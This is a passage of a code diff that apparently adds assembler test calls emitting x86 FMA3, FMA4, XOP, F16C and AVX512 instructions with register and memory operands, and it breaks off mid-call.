a.vfmadd132ss(xmmA, xmmB, anyptr_gpC); + a.vfmadd132ss(xmmA, xmmB, xmmC); + a.vfmadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd213pd(xmmA, xmmB, xmmC); + a.vfmadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd213pd(ymmA, ymmB, ymmC); + a.vfmadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd213ps(xmmA, xmmB, xmmC); + a.vfmadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd213ps(ymmA, ymmB, ymmC); + a.vfmadd213sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd213sd(xmmA, xmmB, xmmC); + a.vfmadd213ss(xmmA, xmmB, anyptr_gpC); + a.vfmadd213ss(xmmA, xmmB, xmmC); + a.vfmadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd231pd(xmmA, xmmB, xmmC); + a.vfmadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd231pd(ymmA, ymmB, ymmC); + a.vfmadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd231ps(xmmA, xmmB, xmmC); + a.vfmadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd231ps(ymmA, ymmB, ymmC); + a.vfmadd231sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd231sd(xmmA, xmmB, xmmC); + a.vfmadd231ss(xmmA, xmmB, anyptr_gpC); + a.vfmadd231ss(xmmA, xmmB, xmmC); + a.vfmaddsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub132pd(xmmA, xmmB, xmmC); + a.vfmaddsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub132pd(ymmA, ymmB, ymmC); + a.vfmaddsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub132ps(xmmA, xmmB, xmmC); + a.vfmaddsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub132ps(ymmA, ymmB, ymmC); + a.vfmaddsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub213pd(xmmA, xmmB, xmmC); + a.vfmaddsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub213pd(ymmA, ymmB, ymmC); + a.vfmaddsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub213ps(xmmA, xmmB, xmmC); + a.vfmaddsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub213ps(ymmA, ymmB, ymmC); + a.vfmaddsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub231pd(xmmA, xmmB, xmmC); + a.vfmaddsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub231pd(ymmA, ymmB, ymmC); + a.vfmaddsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfmaddsub231ps(xmmA, xmmB, xmmC); + a.vfmaddsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfmaddsub231ps(ymmA, ymmB, ymmC); + a.vfmsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub132pd(xmmA, xmmB, xmmC); + a.vfmsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub132pd(ymmA, ymmB, ymmC); + a.vfmsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub132ps(xmmA, xmmB, xmmC); + a.vfmsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub132ps(ymmA, ymmB, ymmC); + a.vfmsub132sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub132sd(xmmA, xmmB, xmmC); + a.vfmsub132ss(xmmA, xmmB, anyptr_gpC); + a.vfmsub132ss(xmmA, xmmB, xmmC); + a.vfmsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub213pd(xmmA, xmmB, xmmC); + a.vfmsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub213pd(ymmA, ymmB, ymmC); + a.vfmsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub213ps(xmmA, xmmB, xmmC); + a.vfmsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub213ps(ymmA, ymmB, ymmC); + a.vfmsub213sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub213sd(xmmA, xmmB, xmmC); + a.vfmsub213ss(xmmA, xmmB, anyptr_gpC); + a.vfmsub213ss(xmmA, xmmB, xmmC); + a.vfmsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfmsub231pd(xmmA, xmmB, xmmC); + a.vfmsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfmsub231pd(ymmA, ymmB, ymmC); + a.vfmsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfmsub231ps(xmmA, xmmB, xmmC); + a.vfmsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfmsub231ps(ymmA, ymmB, ymmC); + a.vfmsub231sd(xmmA, xmmB, anyptr_gpC); + a.vfmsub231sd(xmmA, xmmB, xmmC); + a.vfmsub231ss(xmmA, xmmB, anyptr_gpC); + a.vfmsub231ss(xmmA, xmmB, xmmC); + a.vfmsubadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd132pd(xmmA, xmmB, xmmC); + a.vfmsubadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd132pd(ymmA, ymmB, ymmC); + a.vfmsubadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd132ps(xmmA, xmmB, xmmC); + a.vfmsubadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd132ps(ymmA, ymmB, ymmC); + a.vfmsubadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd213pd(xmmA, xmmB, xmmC); + a.vfmsubadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd213pd(ymmA, ymmB, ymmC); + a.vfmsubadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd213ps(xmmA, xmmB, xmmC); + a.vfmsubadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd213ps(ymmA, ymmB, ymmC); + a.vfmsubadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd231pd(xmmA, xmmB, xmmC); + a.vfmsubadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd231pd(ymmA, ymmB, ymmC); + a.vfmsubadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd231ps(xmmA, xmmB, xmmC); + a.vfmsubadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd231ps(ymmA, ymmB, ymmC); + a.vfnmadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132pd(xmmA, xmmB, xmmC); + a.vfnmadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd132pd(ymmA, ymmB, ymmC); + a.vfnmadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132ps(xmmA, xmmB, xmmC); + a.vfnmadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd132ps(ymmA, ymmB, ymmC); + a.vfnmadd132sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132sd(xmmA, xmmB, xmmC); + a.vfnmadd132ss(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132ss(xmmA, xmmB, xmmC); + a.vfnmadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213pd(xmmA, xmmB, xmmC); + a.vfnmadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd213pd(ymmA, ymmB, ymmC); + a.vfnmadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213ps(xmmA, xmmB, xmmC); + a.vfnmadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd213ps(ymmA, ymmB, ymmC); + a.vfnmadd213sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213sd(xmmA, xmmB, xmmC); + a.vfnmadd213ss(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213ss(xmmA, xmmB, xmmC); + a.vfnmadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231pd(xmmA, xmmB, xmmC); + a.vfnmadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd231pd(ymmA, ymmB, ymmC); + a.vfnmadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231ps(xmmA, xmmB, xmmC); + a.vfnmadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd231ps(ymmA, ymmB, ymmC); + a.vfnmadd231sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231sd(xmmA, xmmB, xmmC); + a.vfnmadd231ss(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231ss(xmmA, xmmB, xmmC); + a.vfnmsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132pd(xmmA, xmmB, xmmC); + a.vfnmsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub132pd(ymmA, ymmB, ymmC); + a.vfnmsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132ps(xmmA, xmmB, xmmC); + a.vfnmsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub132ps(ymmA, ymmB, ymmC); + a.vfnmsub132sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132sd(xmmA, xmmB, xmmC); + a.vfnmsub132ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132ss(xmmA, xmmB, xmmC); + a.vfnmsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213pd(xmmA, xmmB, xmmC); + a.vfnmsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub213pd(ymmA, ymmB, ymmC); + a.vfnmsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213ps(xmmA, xmmB, xmmC); + a.vfnmsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub213ps(ymmA, ymmB, ymmC); + a.vfnmsub213sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213sd(xmmA, xmmB, xmmC); + a.vfnmsub213ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213ss(xmmA, xmmB, xmmC); + a.vfnmsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231pd(xmmA, xmmB, xmmC); + a.vfnmsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub231pd(ymmA, ymmB, ymmC); + a.vfnmsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231ps(xmmA, xmmB, xmmC); + a.vfnmsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub231ps(ymmA, ymmB, ymmC); + a.vfnmsub231sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231sd(xmmA, xmmB, xmmC); + a.vfnmsub231ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231ss(xmmA, xmmB, xmmC); + + // FMA4. + a.nop(); + + a.vfmaddpd(xmmA, xmmB, xmmC, xmmD); + a.vfmaddpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddpd(ymmA, ymmB, ymmC, ymmD); + a.vfmaddpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmaddpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmaddps(xmmA, xmmB, xmmC, xmmD); + a.vfmaddps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddps(ymmA, ymmB, ymmC, ymmD); + a.vfmaddps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmaddps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmaddsd(xmmA, xmmB, xmmC, xmmD); + a.vfmaddsd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddsd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddss(xmmA, xmmB, xmmC, xmmD); + a.vfmaddss(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddss(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddsubpd(xmmA, xmmB, xmmC, xmmD); + a.vfmaddsubpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddsubpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddsubpd(ymmA, ymmB, ymmC, ymmD); + a.vfmaddsubpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmaddsubpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmaddsubps(xmmA, xmmB, xmmC, xmmD); + a.vfmaddsubps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmaddsubps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmaddsubps(ymmA, ymmB, ymmC, ymmD); + a.vfmaddsubps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmaddsubps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmsubaddpd(xmmA, xmmB, xmmC, xmmD); + a.vfmsubaddpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubaddpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmsubaddpd(ymmA, ymmB, ymmC, ymmD); + a.vfmsubaddpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmsubaddpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmsubaddps(xmmA, xmmB, xmmC, xmmD); + a.vfmsubaddps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubaddps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmsubaddps(ymmA, ymmB, ymmC, ymmD); + a.vfmsubaddps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmsubaddps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmsubpd(xmmA, xmmB, xmmC, xmmD); + a.vfmsubpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmsubpd(ymmA, ymmB, ymmC, ymmD); + a.vfmsubpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmsubpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmsubps(xmmA, xmmB, xmmC, xmmD); + a.vfmsubps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmsubps(ymmA, ymmB, ymmC, ymmD); + a.vfmsubps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfmsubps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfmsubsd(xmmA, xmmB, xmmC, xmmD); + a.vfmsubsd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubsd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfmsubss(xmmA, xmmB, xmmC, xmmD); + a.vfmsubss(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfmsubss(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmaddpd(xmmA, xmmB, xmmC, xmmD); + a.vfnmaddpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmaddpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmaddpd(ymmA, ymmB, ymmC, ymmD); + a.vfnmaddpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfnmaddpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfnmaddps(xmmA, xmmB, xmmC, xmmD); + a.vfnmaddps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmaddps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmaddps(ymmA, ymmB, ymmC, ymmD); + a.vfnmaddps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfnmaddps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfnmaddsd(xmmA, xmmB, xmmC, xmmD); + a.vfnmaddsd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmaddsd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmaddss(xmmA, xmmB, xmmC, xmmD); + a.vfnmaddss(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmaddss(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmsubpd(xmmA, xmmB, xmmC, xmmD); + a.vfnmsubpd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmsubpd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmsubpd(ymmA, ymmB, ymmC, ymmD); + a.vfnmsubpd(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfnmsubpd(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfnmsubps(xmmA, xmmB, xmmC, xmmD); + a.vfnmsubps(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmsubps(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmsubps(ymmA, ymmB, ymmC, ymmD); + a.vfnmsubps(ymmA, ymmB, anyptr_gpC, ymmD); + a.vfnmsubps(ymmA, ymmB, ymmC, anyptr_gpD); + a.vfnmsubsd(xmmA, xmmB, xmmC, xmmD); + a.vfnmsubsd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmsubsd(xmmA, xmmB, xmmC, anyptr_gpD); + a.vfnmsubss(xmmA, xmmB, xmmC, xmmD); + a.vfnmsubss(xmmA, xmmB, anyptr_gpC, xmmD); + a.vfnmsubss(xmmA, xmmB, xmmC, anyptr_gpD); + + // XOP. + a.nop(); + + a.vfrczpd(xmmA, xmmB); + a.vfrczpd(xmmA, anyptr_gpB); + a.vfrczpd(ymmA, ymmB); + a.vfrczpd(ymmA, anyptr_gpB); + a.vfrczps(xmmA, xmmB); + a.vfrczps(xmmA, anyptr_gpB); + a.vfrczps(ymmA, ymmB); + a.vfrczps(ymmA, anyptr_gpB); + a.vfrczsd(xmmA, xmmB); + a.vfrczsd(xmmA, anyptr_gpB); + a.vfrczss(xmmA, xmmB); + a.vfrczss(xmmA, anyptr_gpB); + a.vpcmov(xmmA, xmmB, xmmC, xmmD); + a.vpcmov(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpcmov(xmmA, xmmB, xmmC, anyptr_gpD); + a.vpcmov(ymmA, ymmB, ymmC, ymmD); + a.vpcmov(ymmA, ymmB, anyptr_gpC, ymmD); + a.vpcmov(ymmA, ymmB, ymmC, anyptr_gpD); + a.vpcomb(xmmA, xmmB, xmmC, 0); + a.vpcomb(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomd(xmmA, xmmB, xmmC, 0); + a.vpcomd(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomq(xmmA, xmmB, xmmC, 0); + a.vpcomq(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomw(xmmA, xmmB, xmmC, 0); + a.vpcomw(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomub(xmmA, xmmB, xmmC, 0); + a.vpcomub(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomud(xmmA, xmmB, xmmC, 0); + a.vpcomud(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomuq(xmmA, xmmB, xmmC, 0); + a.vpcomuq(xmmA, xmmB, anyptr_gpC, 0); + a.vpcomuw(xmmA, xmmB, xmmC, 0); + a.vpcomuw(xmmA, xmmB, anyptr_gpC, 0); + a.vpermil2pd(xmmA, xmmB, xmmC, xmmD, 0); + a.vpermil2pd(xmmA, xmmB, anyptr_gpC, xmmD, 0); + a.vpermil2pd(xmmA, xmmB, xmmC, anyptr_gpD, 0); + a.vpermil2pd(ymmA, ymmB, ymmC, ymmD, 0); + a.vpermil2pd(ymmA, ymmB, anyptr_gpC, ymmD, 0); + a.vpermil2pd(ymmA, ymmB, ymmC, anyptr_gpD, 0); + a.vpermil2ps(xmmA, xmmB, xmmC, xmmD, 0); + a.vpermil2ps(xmmA, xmmB, anyptr_gpC, xmmD, 0); + a.vpermil2ps(xmmA, xmmB, xmmC, anyptr_gpD, 0); + a.vpermil2ps(ymmA, ymmB, ymmC, ymmD, 0); + a.vpermil2ps(ymmA, ymmB, anyptr_gpC, ymmD, 0); + a.vpermil2ps(ymmA, ymmB, ymmC, anyptr_gpD, 0); + a.vphaddbd(xmmA, xmmB); + a.vphaddbd(xmmA, anyptr_gpB); + a.vphaddbq(xmmA, xmmB); + a.vphaddbq(xmmA, anyptr_gpB); + a.vphaddbw(xmmA, xmmB); + a.vphaddbw(xmmA, anyptr_gpB); + a.vphadddq(xmmA, xmmB); + a.vphadddq(xmmA, anyptr_gpB); + a.vphaddwd(xmmA, xmmB); + a.vphaddwd(xmmA, anyptr_gpB); + a.vphaddwq(xmmA, xmmB); + a.vphaddwq(xmmA, anyptr_gpB); + a.vphaddubd(xmmA, xmmB); + a.vphaddubd(xmmA, anyptr_gpB); + a.vphaddubq(xmmA, xmmB); + a.vphaddubq(xmmA, anyptr_gpB); + a.vphaddubw(xmmA, xmmB); + a.vphaddubw(xmmA, anyptr_gpB); + a.vphaddudq(xmmA, xmmB); + a.vphaddudq(xmmA, anyptr_gpB); + a.vphadduwd(xmmA, xmmB); + a.vphadduwd(xmmA, anyptr_gpB); + a.vphadduwq(xmmA, xmmB); + a.vphadduwq(xmmA, anyptr_gpB); + a.vphsubbw(xmmA, xmmB); + a.vphsubbw(xmmA, anyptr_gpB); + a.vphsubdq(xmmA, xmmB); + a.vphsubdq(xmmA, anyptr_gpB); + a.vphsubwd(xmmA, xmmB); + a.vphsubwd(xmmA, anyptr_gpB); + a.vpmacsdd(xmmA, xmmB, xmmC, xmmD); + a.vpmacsdd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacsdqh(xmmA, xmmB, xmmC, xmmD); + a.vpmacsdqh(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacsdql(xmmA, xmmB, xmmC, xmmD); + a.vpmacsdql(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacswd(xmmA, xmmB, xmmC, xmmD); + a.vpmacswd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacsww(xmmA, xmmB, xmmC, xmmD); + a.vpmacsww(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacssdd(xmmA, xmmB, xmmC, xmmD); + a.vpmacssdd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacssdqh(xmmA, xmmB, xmmC, xmmD); + a.vpmacssdqh(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacssdql(xmmA, xmmB, xmmC, xmmD); + a.vpmacssdql(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacsswd(xmmA, xmmB, xmmC, xmmD); + a.vpmacsswd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmacssww(xmmA, xmmB, xmmC, xmmD); + a.vpmacssww(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmadcsswd(xmmA, xmmB, xmmC, xmmD); + a.vpmadcsswd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpmadcswd(xmmA, xmmB, xmmC, xmmD); + a.vpmadcswd(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpperm(xmmA, xmmB, xmmC, xmmD); + a.vpperm(xmmA, xmmB, anyptr_gpC, xmmD); + a.vpperm(xmmA, xmmB, xmmC, anyptr_gpD); + a.vprotb(xmmA, xmmB, xmmC); + a.vprotb(xmmA, anyptr_gpB, xmmC); + a.vprotb(xmmA, xmmB, anyptr_gpC); + a.vprotb(xmmA, xmmB, 0); + a.vprotb(xmmA, anyptr_gpB, 0); + a.vprotd(xmmA, xmmB, xmmC); + a.vprotd(xmmA, anyptr_gpB, xmmC); + a.vprotd(xmmA, xmmB, anyptr_gpC); + a.vprotd(xmmA, xmmB, 0); + a.vprotd(xmmA, anyptr_gpB, 0); + a.vprotq(xmmA, xmmB, xmmC); + a.vprotq(xmmA, anyptr_gpB, xmmC); + a.vprotq(xmmA, xmmB, anyptr_gpC); + a.vprotq(xmmA, xmmB, 0); + a.vprotq(xmmA, anyptr_gpB, 0); + a.vprotw(xmmA, xmmB, xmmC); + a.vprotw(xmmA, anyptr_gpB, xmmC); + a.vprotw(xmmA, xmmB, anyptr_gpC); + a.vprotw(xmmA, xmmB, 0); + a.vprotw(xmmA, anyptr_gpB, 0); + a.vpshab(xmmA, xmmB, xmmC); + a.vpshab(xmmA, anyptr_gpB, xmmC); + a.vpshab(xmmA, xmmB, anyptr_gpC); + a.vpshad(xmmA, xmmB, xmmC); + a.vpshad(xmmA, anyptr_gpB, xmmC); + a.vpshad(xmmA, xmmB, anyptr_gpC); + a.vpshaq(xmmA, xmmB, xmmC); + a.vpshaq(xmmA, anyptr_gpB, xmmC); + a.vpshaq(xmmA, xmmB, anyptr_gpC); + a.vpshaw(xmmA, xmmB, xmmC); + a.vpshaw(xmmA, anyptr_gpB, xmmC); + a.vpshaw(xmmA, xmmB, anyptr_gpC); + a.vpshlb(xmmA, xmmB, xmmC); + a.vpshlb(xmmA, anyptr_gpB, xmmC); + a.vpshlb(xmmA, xmmB, anyptr_gpC); + a.vpshld(xmmA, xmmB, xmmC); + a.vpshld(xmmA, anyptr_gpB, xmmC); + a.vpshld(xmmA, xmmB, anyptr_gpC); + a.vpshlq(xmmA, xmmB, xmmC); + a.vpshlq(xmmA, anyptr_gpB, xmmC); + a.vpshlq(xmmA, xmmB, anyptr_gpC); + a.vpshlw(xmmA, xmmB, xmmC); + a.vpshlw(xmmA, anyptr_gpB, xmmC); + a.vpshlw(xmmA, xmmB, anyptr_gpC); + + // F16C. + a.nop(); + + a.vcvtph2ps(xmmA, xmmB); + a.vcvtph2ps(xmmA, anyptr_gpB); + a.vcvtph2ps(ymmA, xmmB); + a.vcvtph2ps(ymmA, anyptr_gpB); + a.vcvtps2ph(xmmA, xmmB, 0); + a.vcvtps2ph(anyptr_gpA, xmmB, 0); + a.vcvtps2ph(xmmA, ymmB, 0); + a.vcvtps2ph(anyptr_gpA, ymmB, 0); + + // AVX512. + a.nop(); + + a.kaddb(kA, kB, kC); + a.kaddd(kA, kB, kC); + a.kaddq(kA, kB, kC); + a.kaddw(kA, kB, kC); + a.kandb(kA, kB, kC); + a.kandd(kA, kB, kC); + a.kandnb(kA, kB, kC); + a.kandnd(kA, kB, kC); + a.kandnq(kA, kB, kC); + a.kandnw(kA, kB, kC); + a.kandq(kA, kB, kC); + a.kandw(kA, kB, kC); + a.kmovb(kA, kB); + a.kmovb(kA, anyptr_gpB); + a.kmovb(kA, gdB); + if (isX64) a.kmovb(kA, gzB); + a.kmovb(anyptr_gpA, kB); + a.kmovb(gdA, kB); + if (isX64) a.kmovb(gzA, kB); + a.kmovd(kA, kB); + a.kmovd(kA, anyptr_gpB); + a.kmovd(kA, gdB); + if (isX64) a.kmovd(kA, gzB); + a.kmovd(anyptr_gpA, kB); + a.kmovd(gdA, kB); + if (isX64) a.kmovd(gzA, kB); + a.kmovq(kA, kB); + a.kmovq(kA, anyptr_gpB); + if (isX64) a.kmovq(kA, gzB); + a.kmovq(anyptr_gpA, kB); + if (isX64) a.kmovq(gzA, kB); + a.kmovw(kA, kB); + a.kmovw(kA, anyptr_gpB); + a.kmovw(kA, gdB); + if (isX64) a.kmovw(kA, gzB); + a.kmovw(anyptr_gpA, kB); + a.kmovw(gdA, kB); + if (isX64) a.kmovw(gzA, kB); + a.knotb(kA, kB); + a.knotd(kA, kB); + a.knotq(kA, kB); + a.knotw(kA, kB); + a.korb(kA, kB, kC); + a.kord(kA, kB, kC); + a.korq(kA, kB, kC); + a.kortestb(kA, kB); + a.kortestd(kA, kB); + a.kortestq(kA, kB); + a.kortestw(kA, kB); + a.korw(kA, kB, kC); + a.kshiftlb(kA, kB, 0); + a.kshiftld(kA, kB, 0); + a.kshiftlq(kA, kB, 0); + a.kshiftlw(kA, kB, 0); + a.kshiftrb(kA, kB, 0); + a.kshiftrd(kA, kB, 0); + a.kshiftrq(kA, kB, 0); + a.kshiftrw(kA, kB, 0); + a.ktestb(kA, kB); + a.ktestd(kA, kB); + a.ktestq(kA, kB); + a.ktestw(kA, kB); + a.kunpckbw(kA, kB, kC); + a.kunpckdq(kA, kB, kC); + a.kunpckwd(kA, kB, kC); + a.kxnorb(kA, kB, kC); + a.kxnord(kA, kB, kC); + a.kxnorq(kA, kB, kC); + a.kxnorw(kA, kB, kC); + a.kxorb(kA, kB, kC); + a.kxord(kA, kB, kC); + a.kxorq(kA, kB, kC); + a.kxorw(kA, kB, kC); + a.nop(); + + a.vaddpd(xmmA, xmmB, xmmC); + a.vaddpd(xmmA, xmmB, anyptr_gpC); + a.vaddpd(ymmA, ymmB, ymmC); + a.vaddpd(ymmA, ymmB, anyptr_gpC); + a.vaddpd(zmmA, zmmB, zmmC); + a.vaddpd(zmmA, zmmB, anyptr_gpC); + a.vaddps(xmmA, xmmB, xmmC); + a.vaddps(xmmA, xmmB, anyptr_gpC); + a.vaddps(ymmA, ymmB, ymmC); + a.vaddps(ymmA, ymmB, anyptr_gpC); + a.vaddps(zmmA, zmmB, zmmC); + a.vaddps(zmmA, zmmB, anyptr_gpC); + a.vaddsd(xmmA, xmmB, xmmC); + a.vaddsd(xmmA, xmmB, anyptr_gpC); + a.vaddss(xmmA, xmmB, xmmC); + a.vaddss(xmmA, xmmB, anyptr_gpC); + a.valignd(xmmA, xmmB, xmmC, 0); + a.valignd(xmmA, xmmB, anyptr_gpC, 0); + a.valignd(ymmA, ymmB, ymmC, 0); + a.valignd(ymmA, ymmB, anyptr_gpC, 0); + a.valignd(zmmA, zmmB, zmmC, 0); + a.valignd(zmmA, zmmB, anyptr_gpC, 0); + a.valignq(xmmA, xmmB, xmmC, 0); + a.valignq(xmmA, xmmB, anyptr_gpC, 0); + a.valignq(ymmA, ymmB, ymmC, 0); + a.valignq(ymmA, ymmB, anyptr_gpC, 0); + a.valignq(zmmA, zmmB, zmmC, 0); + a.valignq(zmmA, zmmB, anyptr_gpC, 0); + a.vandnpd(xmmA, 